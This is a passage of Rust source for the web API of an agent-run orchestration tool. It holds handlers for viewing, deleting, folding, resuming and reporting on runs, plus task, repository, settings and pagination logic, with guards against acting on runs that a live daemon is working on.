4493/// Core content needs neither the queue nor question/liveness evidence.
4494async fn run_core(
4495    State(ui): State<Arc<Ui>>,
4496    Path(id): Path<String>,
4497) -> ApiResult<Json<RunDetailView>> {
4498    blocking(move || {
4499        let id = resolve_run(&ui.runs, &id)?;
4500        let state = read_run(&ui.runs, &id)?;
4501        Ok(Json(RunDetailView::of(
4502            state,
4503            false,
4504            crate::run::Liveness::Unknown,
4505            None,
4506            None,
4507            None,
4508        )))
4509    })
4510    .await
4511}
4512
4513/// Lightweight observation: never replaces the evidence used by controls.
4514async fn run_progress(
4515    State(ui): State<Arc<Ui>>,
4516    Path(id): Path<String>,
4517) -> ApiResult<Json<serde_json::Value>> {
4518    blocking(move || {
4519        let id = resolve_run(&ui.runs, &id)?;
4520        let state = read_run(&ui.runs, &id)?;
4521        let live = state.liveness(crate::daemon::is_working_on(
4522            &ui.home,
4523            &id,
4524            Timestamp::now(),
4525        ));
4526        let waiting = !ui.questions.open_for(&id).is_empty();
4527        Ok(Json(serde_json::json!({
4528            "id": id, "updated_at": state.updated_at, "live": live,
4529            "observed_at": Timestamp::now(),
4530            "progress": crate::run_progress::build(&state, live, waiting),
4531        })))
4532    })
4533    .await
4534}
4535
4536async fn run_detail(
4537    State(ui): State<Arc<Ui>>,
4538    Path(id): Path<String>,
4539) -> ApiResult<Json<RunDetailView>> {
4540    blocking(move || {
4541        let id = resolve_run(&ui.runs, &id)?;
4542        let state = read_run(&ui.runs, &id)?;
4543        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4544        let live = state.liveness(daemon_claims);
4545        crate::queue::record_ids(ui.questions.root(), "json")?;
4546        let waiting = ui
4547            .questions
4548            .list()
4549            .iter()
4550            .any(|q| q.run == id && q.status.open());
4551        let max_attempts = daemon::Opts::default().max_attempts;
4552
4553        let matching_task = ui.find_task_for_run(&id)?;
4554
4555        let superseded_by = state
4556            .pr_taken_over_by
4557            .clone()
4558            .or_else(|| {
4559                matching_task
4560                    .as_ref()
4561                    .and_then(|t| t.successor_of(&id).cloned())
4562            })
4563            .as_deref()
4564            .map(crate::run::short_of)
4565            .map(str::to_owned);
4566
4567        // Best-effort: an unreadable head (mid-write, or deleted) just means
4568        // this run's own status stands on its own, same as no later attempt
4569        // existing at all.
4570        let latest_attempt = matching_task
4571            .as_ref()
4572            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4573            .and_then(|head_id| {
4574                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4575                    short: head.short().to_owned(),
4576                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4577                    status: head.status,
4578                    done: head.status.done(),
4579                    id: head.id,
4580                })
4581            });
4582
4583        let task = matching_task
4584            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4585
4586        Ok(Json(RunDetailView::of(
4587            state,
4588            waiting,
4589            live,
4590            superseded_by,
4591            latest_attempt,
4592            task,
4593        )))
4594    })
4595    .await
4596}
4597
4598/// `DELETE /api/runs/{id}`.
4599///
4600/// Remove a finished, folded run directory along with its artifacts.
4601/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4602/// deleted. This never touches git worktrees or branches - except for a run
4603/// whose state this build cannot read at all, where there is no candidate
4604/// list to check and the wholesale removal `magi fold` already uses for that
4605/// case is the only meaningful "delete".
4606async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4607    let (id, unreadable) = {
4608        let ui = Arc::clone(&ui);
4609        blocking(move || {
4610            let id = resolve_run(&ui.runs, &id)?;
4611            match read_run(&ui.runs, &id) {
4612                Ok(state) => {
4613                    let in_flight =
4614                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4615                    state
4616                        .ensure_can_delete(in_flight)
4617                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4618                    let dir = ui.runs.join(&id);
4619                    std::fs::remove_dir_all(&dir)
4620                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4621                    Ok((id, false))
4622                }
4623                Err(_) => {
4624                    // Unreadable: there is no candidate list to guard on, so
4625                    // a live daemon's claim is the only thing left to check -
4626                    // the same rule `run_fold` applies for the same reason.
4627                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4628                        return Err(ApiError::conflict(format!(
4629                            "run {id} is being worked on by a live daemon right now"
4630                        )));
4631                    }
4632                    Ok((id, true))
4633                }
4634            }
4635        })
4636        .await?
4637    };
4638    if unreadable {
4639        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4640            .await
4641            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4642    }
4643    let ui = Arc::clone(&ui);
4644    let done = id.clone();
4645    blocking(move || {
4646        // The agent that asked died with the run, so an open question would
4647        // keep asking the operator for a decision nobody can deliver.
4648        ui.questions.abandon_for_run(
4649            &done,
4650            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4651        )?;
4652        Ok(())
4653    })
4654    .await?;
4655    Ok(StatusCode::NO_CONTENT)
4656}
4657
4658/// `POST /api/runs/{id}/fold`.
4659///
4660/// Remove a run's candidate worktrees and branches, keeping its record.
4661///
4662/// This exists because the deck answered "delete this run" with *"Candidates
4663/// must be folded before deleting. Run `magi fold` first."* — a phone being
4664/// told to open a terminal, in the one product whose point is that it does
4665/// not need one. The runs an operator most wants gone are the stalled and
4666/// blocked ones, and those are exactly the runs still holding worktrees:
4667/// three of them here held 53 GB.
4668///
4669/// The winner's tree goes too. A fold is what someone asks for when they are
4670/// finished with a run, and leaving one tree behind would leave the delete
4671/// button disabled for the same reason as before.
4672///
4673/// Refused while a live daemon is working on the run, on the rule that guards
4674/// deletion: folding underneath a running agent would pull the tree it is
4675/// editing out from under it.
4676///
4677/// A run whose state this build cannot read at all falls back to
4678/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4679/// selectively, so the whole record's worktree goes wholesale, exactly what
4680/// `magi fold` does on the command line for the same run.
4681async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4682    let (id, state) = {
4683        let ui = Arc::clone(&ui);
4684        blocking(move || {
4685            let id = resolve_run(&ui.runs, &id)?;
4686            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4687                return Err(ApiError::conflict(format!(
4688                    "run {id} is being worked on by a live daemon right now"
4689                )));
4690            }
4691            let state = read_run(&ui.runs, &id).ok();
4692            Ok((id, state))
4693        })
4694        .await?
4695    };
4696    let removed = match state {
4697        Some(mut state) => {
4698            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4699                .await
4700                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4701            // Nothing left to remove is not the same thing as nothing left to
4702            // do — see `clean::clear_abandoned_active`'s own doc for the run
4703            // this exists for: worktrees already gone, but a killed process
4704            // left active seats nobody will ever answer for.
4705            if removed.is_empty() {
4706                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4707                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4708            }
4709            removed
4710        }
4711        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4712            .await
4713            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4714    };
4715    Ok(Json(FoldView {
4716        run: id,
4717        removed_count: removed.len(),
4718        removed,
4719    }))
4720}
4721
4722/// What a fold took away, so the deck can say so rather than only re-render.
4723#[derive(Debug, Serialize)]
4724struct FoldView {
4725    run: String,
4726    /// Worktree paths and branch names removed, in the order they went.
4727    removed: Vec<String>,
4728    removed_count: usize,
4729}
4730
4731/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4732/// merged outside of `land::land`'s own loop.
4733#[derive(Debug, Deserialize)]
4734struct FoldMergedBody {
4735    #[serde(default)]
4736    pr_url: String,
4737}
4738
4739/// `POST /api/runs/{id}/fold-merged`.
4740///
4741/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4742/// `Blocked` with `merge: null` because magi never got as far as opening a
4743/// pull request of its own (a title over GitHub's length limit, `gh pr
4744/// create` unreachable, a stale token), which the operator then finished by
4745/// hand on a pull request magi never recorded. The "Run actions" sheet used
4746/// to have no way to tell it about that pull request short of a terminal and
4747/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4748/// this exists and what it deliberately does not do (`bump::after_merge`).
4749///
4750/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4751/// correction rewrites the same `status`/`merge` fields a running graph would
4752/// be writing to on its own.
4753///
4754/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4755/// calls plus a fold, seconds of work, and the phone should get its answer
4756/// (which pull request it recorded, and what changed) in the same round
4757/// trip rather than learning it from the change stream.
4758async fn run_fold_merged(
4759    State(ui): State<Arc<Ui>>,
4760    Path(id): Path<String>,
4761    Json(body): Json<FoldMergedBody>,
4762) -> ApiResult<Json<FoldMergedView>> {
4763    let pr_url = body.pr_url.trim().to_owned();
4764    if pr_url.is_empty() {
4765        return Err(ApiError::bad_request("pr_url is required"));
4766    }
4767    let (id, mut state) = {
4768        let ui = Arc::clone(&ui);
4769        blocking(move || {
4770            let id = resolve_run(&ui.runs, &id)?;
4771            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4772                return Err(ApiError::conflict(format!(
4773                    "run {id} is being worked on by a live daemon right now"
4774                )));
4775            }
4776            let state = read_run(&ui.runs, &id)?;
4777            Ok((id, state))
4778        })
4779        .await?
4780    };
4781    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4782        .await
4783        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4784    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4785        .await
4786        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4787    Ok(Json(FoldMergedView {
4788        run: id,
4789        before: before.as_str().to_owned(),
4790        after: after.as_str().to_owned(),
4791        removed,
4792    }))
4793}
4794
4795/// What [`run_fold_merged`] did, so the deck can say so.
4796#[derive(Debug, Serialize)]
4797struct FoldMergedView {
4798    run: String,
4799    /// `status` before the correction — normally `"blocked"`.
4800    before: String,
4801    /// `status` after — normally `"merged"`.
4802    after: String,
4803    /// Worktree paths and branch names the trailing fold removed.
4804    removed: Vec<String>,
4805}
4806
4807/// `POST /api/runs/{id}/resume`.
4808///
4809/// Carry a stalled run on from where it stopped, in the background.
4810///
4811/// A stalled card says "the work is kept" and used to offer no way to act on
4812/// that: the candidates are built and paid for, and continuing means re-asking
4813/// only the seats whose absence collapsed the panel. The alternative an
4814/// operator actually had was releasing the task, which competes three fresh
4815/// implementations against work that already exists.
4816///
4817/// **202, not 200.** A resume runs agents for minutes; holding the connection
4818/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4819/// phone learns the outcome from the change stream.
4820///
4821/// Refused when the loop is running at all, not merely when it is on this run.
4822/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4823/// started a second graph on top of whatever the loop is already driving —
4824/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4825/// allows — would spend that quota twice over for no extra throughput.
4826async fn run_resume(
4827    State(ui): State<Arc<Ui>>,
4828    Path(id): Path<String>,
4829) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4830    let admission = ui.begin_admission()?;
4831    admitted(admission, async move {
4832        let (id, state) = {
4833            let ui = Arc::clone(&ui);
4834            blocking(move || {
4835                let id = resolve_run(&ui.runs, &id)?;
4836                let state = read_run(&ui.runs, &id)?;
4837                Ok((id, state))
4838            })
4839            .await?
4840        };
4841        crate::resume::validate_unqueued(&ui.home, &id)
4842            .map_err(|e| ApiError::conflict(e.to_string()))?;
4843        let _resume = ui.begin_resume(&id)?;
4844
4845        crate::resume::start(&ui.home, id.clone())
4846            .await
4847            .map_err(ApiError::from)?;
4848        // The same shape the list route returns, so the phone updates the card it
4849        // already has rather than learning a second schema for one button.
4850        let queued = RunSummary::of(
4851            &state,
4852            !ui.questions.open_for(&id).is_empty(),
4853            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4854        );
4855        Ok((StatusCode::ACCEPTED, Json(queued)))
4856    })
4857    .await
4858}
4859
4860async fn run_report(
4861    State(ui): State<Arc<Ui>>,
4862    Path(id): Path<String>,
4863) -> ApiResult<impl IntoResponse> {
4864    let text = blocking(move || {
4865        let id = resolve_run(&ui.runs, &id)?;
4866        // Colour is off for the whole process, set once in `serve`. Rendering
4867        // is CPU work over the full state, which is the other reason this is
4868        // not on the executor.
4869        let state = read_run(&ui.runs, &id)?;
4870        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4871        let live = state.liveness(daemon_claims);
4872        Ok(format!(
4873            "{}{}",
4874            report::run(&state),
4875            report::active_seats(&state, live)
4876        ))
4877    })
4878    .await?;
4879    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4880}
4881
4882/// The structured twin of [`run_report`]: the same state, as sections the UI
4883/// draws as cards. An unreadable run answers with the same error the text
4884/// route does; it is never turned into an empty report.
4885async fn run_report_json(
4886    State(ui): State<Arc<Ui>>,
4887    Path(id): Path<String>,
4888) -> ApiResult<Json<crate::report_view::RunReportView>> {
4889    let view = blocking(move || {
4890        let id = resolve_run(&ui.runs, &id)?;
4891        let state = read_run(&ui.runs, &id)?;
4892        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4893        // Only a record that lacks the structured details reads `artifacts/`.
4894        let recovered = state.graft.as_ref().map(|_| {
4895            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4896        });
4897        Ok(crate::report_view::build_with(
4898            &state,
4899            state.liveness(daemon_claims),
4900            recovered.as_ref(),
4901        ))
4902    })
4903    .await?;
4904    Ok(Json(view))
4905}
4906
4907/// Archive access uses validated run-owned records, never a request-supplied path.
4908async fn run_seat_evidence(
4909    State(ui): State<Arc<Ui>>,
4910    Path(id): Path<String>,
4911) -> ApiResult<impl IntoResponse> {
4912    let id = resolve_run(&ui.runs, &id)?;
4913    let heads = crate::retention::seat_heads(&ui.home, &id)
4914        .await
4915        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4916    Ok(Json(heads))
4917}
4918
4919async fn run_seat_diff(
4920    State(ui): State<Arc<Ui>>,
4921    Path((id, head)): Path<(String, String)>,
4922) -> ApiResult<impl IntoResponse> {
4923    let id = resolve_run(&ui.runs, &id)?;
4924    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4925        .await
4926        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4927    Ok((
4928        [
4929            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4930            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4931        ],
4932        patch,
4933    ))
4934}
4935
4936/// Most of a graft diff the route returns.
4937const GRAFT_DIFF_MAX: usize = 400 * 1024;
4938/// How long `git diff` may run.
4939const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4940
4941/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4942/// come from the run record, never from the request.
4943async fn run_graft_diff(
4944    State(ui): State<Arc<Ui>>,
4945    Path(id): Path<String>,
4946) -> ApiResult<impl IntoResponse> {
4947    let (repo, pre, post) = blocking(move || {
4948        let id = resolve_run(&ui.runs, &id)?;
4949        let state = read_run(&ui.runs, &id)?;
4950        let g = state
4951            .graft
4952            .as_ref()
4953            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4954        let post = g
4955            .post
4956            .clone()
4957            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4958        Ok((state.repo.clone(), g.pre.clone(), post))
4959    })
4960    .await?;
4961    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4962    if !hex(&pre) || !hex(&post) {
4963        return Err(ApiError::not_found("the recorded commits are not valid"));
4964    }
4965    let out = tokio::time::timeout(
4966        GRAFT_DIFF_TIMEOUT,
4967        crate::git::git_raw(
4968            &repo,
4969            &[
4970                "diff",
4971                "--no-color",
4972                "--no-ext-diff",
4973                "-M",
4974                &pre,
4975                &post,
4976                "--",
4977            ],
4978        ),
4979    )
4980    .await
4981    .map_err(|_| ApiError::not_found("git diff timed out"))?
4982    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4983    if out.code != Some(0) {
4984        return Err(ApiError::not_found(
4985            "the recorded commits are no longer in the repository",
4986        ));
4987    }
4988    let mut body = out.stdout;
4989    if body.len() > GRAFT_DIFF_MAX {
4990        let mut cut = GRAFT_DIFF_MAX;
4991        while !body.is_char_boundary(cut) {
4992            cut -= 1;
4993        }
4994        body.truncate(cut);
4995        body.push_str("\n... diff truncated ...");
4996    }
4997    Ok((
4998        [
4999            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5000            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5001        ],
5002        body,
5003    ))
5004}
5005
5006/// A task as the UI sees it.
5007///
5008/// The whole task, plus the two things the client would otherwise have to
5009/// reimplement: the human-readable source and the status string. Nothing is
5010/// removed - the phone shows `last_error` and the run history verbatim.
5011#[derive(Debug, Serialize)]
5012struct TaskView {
5013    #[serde(flatten)]
5014    task: Task,
5015    source_label: String,
5016    reassignment_notes: Vec<String>,
5017    source_link: Option<SourceLink>,
5018    status_str: &'static str,
5019    /// The instruction, parsed as markdown, for the Queue card's "Full
5020    /// instruction" panel. `task.instruction` is unchanged and still carries
5021    /// the raw text.
5022    instruction_md: Vec<md::Node>,
5023    /// For a blocked task, what it waits on with each dependency's state, e.g.
5024    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5025    /// recurses; empty for every other status.
5026    waits_on: Vec<String>,
5027    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5028    /// behind - non-empty means nothing in the loop will ever run it.
5029    stuck_roots: Vec<String>,
5030    blockers: Vec<crate::blockers::BlockerView>,
5031    recovery: Option<String>,
5032}
5033
5034impl From<Task> for TaskView {
5035    fn from(task: Task) -> Self {
5036        Self {
5037            source_label: task.source.label(),
5038            reassignment_notes: Vec::new(),
5039            source_link: source_link(&task.source),
5040            status_str: task.status.as_str(),
5041            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5042            waits_on: Vec::new(),
5043            stuck_roots: Vec::new(),
5044            blockers: Vec::new(),
5045            recovery: task_recovery(&task),
5046            task,
5047        }
5048    }
5049}
5050
5051impl TaskView {
5052    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5053        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5054            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5055            if !pending.is_empty() {
5056                self.recovery = Some(format!(
5057                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5058                    self.recovery.as_deref().unwrap_or_default()
5059                ));
5060            }
5061            for decision in pending {
5062                self.blockers.retain(|view| view.id != decision.id);
5063                self.blockers.push(decision);
5064            }
5065        }
5066        self
5067    }
5068
5069    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5070        let waits_on = inv.waits_on(&task);
5071        let stuck_roots = inv
5072            .stuck_roots(&task)
5073            .iter()
5074            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5075            .collect();
5076        Self {
5077            blockers: inv.blocker_views(&task),
5078            waits_on,
5079            stuck_roots,
5080            ..Self::from(task)
5081        }
5082    }
5083}
5084
5085fn task_recovery(task: &Task) -> Option<String> {
5086    use crate::queue::{HoldSource, TaskStatus};
5087    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5088        return None;
5089    }
5090    let mut text = String::new();
5091    if task.status == TaskStatus::Blocked {
5092        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5093        let restored = match task.blocked_from {
5094            Some(TaskStatus::Running) => TaskStatus::Queued,
5095            Some(status) => status,
5096            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5097            None => TaskStatus::Queued,
5098        };
5099        text.push_str(&format!(
5100            "After all dependencies resolve, the scheduler restores {}. ",
5101            restored.as_str()
5102        ));
5103        if restored != TaskStatus::Held {
5104            return Some(text);
5105        }
5106    }
5107    text.push_str(match task.hold_source {
5108        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5109        Some(HoldSource::Machine) if task.hold_reason.as_deref().is_some_and(crate::disk::is_gate_reason) =>
5110            "Machine disk hold: free disk space or restore measurement. Recorded disk figures describe the hold time, not current capacity. If no recovery decision is pending, triage rechecks the disk gate and can automatically queue after recovery is verified. Pending decisions must be resolved or applied first; disk admission checks still apply.",
5111        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5112        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5113    });
5114    Some(text)
5115}
5116
5117/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5118/// its absence, leaves the cache to decide.
5119#[derive(Debug, Default, Deserialize)]
5120#[serde(default)]
5121struct ReposQuery {
5122    refresh: u8,
5123}
5124
5125/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5126/// listing `magi repos` prints at a terminal.
5127///
5128/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5129/// so an edit to `magi.toml` takes effect without a restart, the same
5130/// reasoning [`config_for`] documents for the talk routes.
5131async fn repos_list(
5132    State(ui): State<Arc<Ui>>,
5133    Query(q): Query<ReposQuery>,
5134) -> ApiResult<Json<Vec<repos::Repo>>> {
5135    let refresh = q.refresh != 0;
5136    blocking(move || {
5137        let (cfg, _) = Config::discover(&ui.repo, None)?;
5138        Ok(Json(ui.repos_cache.list(
5139            &cfg.repos.roots,
5140            Duration::from_secs(cfg.repos.scan_ttl),
5141            refresh,
5142        )))
5143    })
5144    .await
5145}
5146
5147/// Optional context, restricted to the server's known checkouts.
5148#[derive(Debug, Default, Deserialize)]
5149struct SettingsQuery {
5150    repo: Option<PathBuf>,
5151}
5152
5153/// Always discover against the server's original context, never the selection.
5154/// If that config is broken, retain the default context and machine-only roots
5155/// so the settings error contract and recovery picker remain available.
5156fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5157    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5158        let paths: Vec<PathBuf> = ui
5159            .machine_config
5160            .iter()
5161            .filter(|p| p.is_file())
5162            .cloned()
5163            .collect();
5164        if paths.is_empty() {
5165            Ok(Config::autodetected())
5166        } else {
5167            Config::load_layers(&paths)
5168        }
5169    });
5170    let mut known = cfg
5171        .map(|cfg| {
5172            ui.repos_cache.list(
5173                &cfg.repos.roots,
5174                Duration::from_secs(cfg.repos.scan_ttl),
5175                refresh,
5176            )
5177        })
5178        .unwrap_or_default();
5179    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5180    if !known.iter().any(|r| r.path == path) {
5181        known.push(repos::Repo {
5182            name: path
5183                .file_name()
5184                .unwrap_or_default()
5185                .to_string_lossy()
5186                .into_owned(),
5187            path,
5188        });
5189    }
5190    known
5191}
5192
5193fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5194    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5195    let canonical = requested.canonicalize().ok();
5196    let mut known = settings_repositories(ui, false);
5197    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5198    if !known.iter().any(matches) {
5199        known = settings_repositories(ui, true);
5200    }
5201    let repo = known
5202        .iter()
5203        .find(|r| matches(r))
5204        .map(|r| r.path.clone())
5205        .ok_or_else(|| ApiError {
5206            text_reason: None,
5207            status: StatusCode::UNPROCESSABLE_ENTITY,
5208            message: "Choose a known repository from the Settings selector.".to_owned(),
5209        })?;
5210    Ok((repo, known))
5211}
5212
5213/// `GET /api/settings` - the effective role assignments and roster, with the
5214/// layer each came from. A config that fails to load answers 200 with an
5215/// `error`, so the screen can say so instead of drawing empty lists.
5216async fn settings_get(
5217    State(ui): State<Arc<Ui>>,
5218    Query(q): Query<SettingsQuery>,
5219) -> ApiResult<Json<settings::SettingsView>> {
5220    blocking(move || {
5221        let (repo, known) = settings_context(&ui, q)?;
5222        Ok(Json(settings::view_with_repos(
5223            &repo,
5224            ui.machine_config.as_deref(),
5225            &known,
5226        )))
5227    })
5228    .await
5229}
5230
5231/// The body of `PUT /api/settings/roles`.
5232#[derive(Debug, Deserialize)]
5233#[serde(deny_unknown_fields)]
5234struct RolesBody {
5235    /// The `revision` the client last read.
5236    revision: String,
5237    /// Role key to its new ids; an empty list resets the key to its default.
5238    #[serde(default)]
5239    roles: std::collections::BTreeMap<String, Vec<String>>,
5240    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5241    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5242    /// words (422) instead of as a deserialization error.
5243    #[serde(default)]
5244    counts: std::collections::BTreeMap<String, serde_json::Value>,
5245}
5246
5247/// `PUT /api/settings/roles` - save role assignments to the machine config.
5248///
5249/// The write target is `ui.machine_config` and nothing in the body can change
5250/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5251/// 422 with the reason in words.
5252async fn settings_put_roles(
5253    State(ui): State<Arc<Ui>>,
5254    Query(q): Query<SettingsQuery>,
5255    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5256) -> ApiResult<Json<settings::SettingsView>> {
5257    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5258    blocking(move || {
5259        let (repo, known) = settings_context(&ui, q)?;
5260        settings::save_with_repos(
5261            &repo,
5262            ui.machine_config.as_deref(),
5263            &body.revision,
5264            &body.roles,
5265            &body.counts,
5266            &known,
5267        )
5268        .map(Json)
5269        .map_err(|e| match e {
5270            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5271            settings::SaveError::Refused(m) => ApiError {
5272                text_reason: None,
5273                status: StatusCode::UNPROCESSABLE_ENTITY,
5274                message: m,
5275            },
5276            settings::SaveError::Internal(m) => ApiError::internal(m),
5277        })
5278    })
5279    .await
5280}
5281
5282async fn queue_list(
5283    State(ui): State<Arc<Ui>>,
5284    Query(q): Query<ListQuery>,
5285) -> ApiResult<Json<Vec<TaskView>>> {
5286    blocking(move || {
5287        let tasks = ui.queue.list();
5288        let inv =
5289            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5290        Ok(Json(
5291            tasks
5292                .into_iter()
5293                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5294                .map(|t| TaskView::with_inventory(t, &inv))
5295                .collect(),
5296        ))
5297    })
5298    .await
5299}
5300
5301/// History pages read a bounded number of records; the first conversation
5302/// page also includes every open talk. Cursors advance through a frozen snapshot,
5303/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5304/// Concurrent inserts are reconciled by a trailing store refresh.
5305#[derive(Debug, Default, Deserialize)]
5306struct PageQuery {
5307    before: Option<String>,
5308}
5309
5310#[derive(Serialize)]
5311struct StorePage<T> {
5312    rows: Vec<T>,
5313    next: Option<String>,
5314}
5315
5316const STORE_PAGE_SIZE: usize = 16;
5317
5318/// Freeze membership and the initial open/history boundary for a cursor walk.
5319/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5320/// the next store revision. Never rescan the entire directory for every page.
5321#[derive(Debug)]
5322struct ListWalk {
5323    token: u64,
5324    talks: bool,
5325    opened: std::time::Instant,
5326    ids: Arc<Vec<String>>,
5327    initial_end: usize,
5328}
5329
5330fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5331    page_ids_with(ui, talks, q, open_talk_ids)
5332}
5333
5334fn page_ids_with(
5335    ui: &Ui,
5336    talks: bool,
5337    q: PageQuery,
5338    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5339) -> ApiResult<(Vec<String>, Option<String>)> {
5340    let mut walks = ui
5341        .monitor
5342        .list_walks
5343        .lock()
5344        .unwrap_or_else(PoisonError::into_inner);
5345    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5346    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5347        let (token, offset) = cursor
5348            .split_once(':')
5349            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5350        let token = token
5351            .parse::<u64>()
5352            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5353        let offset = offset
5354            .parse::<usize>()
5355            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5356        let walk = walks
5357            .iter()
5358            .find(|walk| walk.token == token && walk.talks == talks)
5359            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5360        (token, walk.ids.clone(), offset, walk.initial_end)
5361    } else {
5362        // Header I/O must not hold the snapshot registry shared with queue
5363        // pagination or with clients continuing an existing history walk.
5364        drop(walks);
5365        let root = if talks {
5366            ui.talks.root()
5367        } else {
5368            ui.queue.root()
5369        };
5370        let mut ids = crate::queue::record_ids(root, "json")?;
5371        ids.sort_unstable_by(|a, b| b.cmp(a));
5372        let initial_end = if talks {
5373            let open = classify(ui, &ids);
5374            // Stable partition: ID order is only the existing membership order,
5375            // never a substitute for the UI's creation-time ordering.
5376            ids.sort_by_key(|id| !open.contains(id));
5377            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5378        } else {
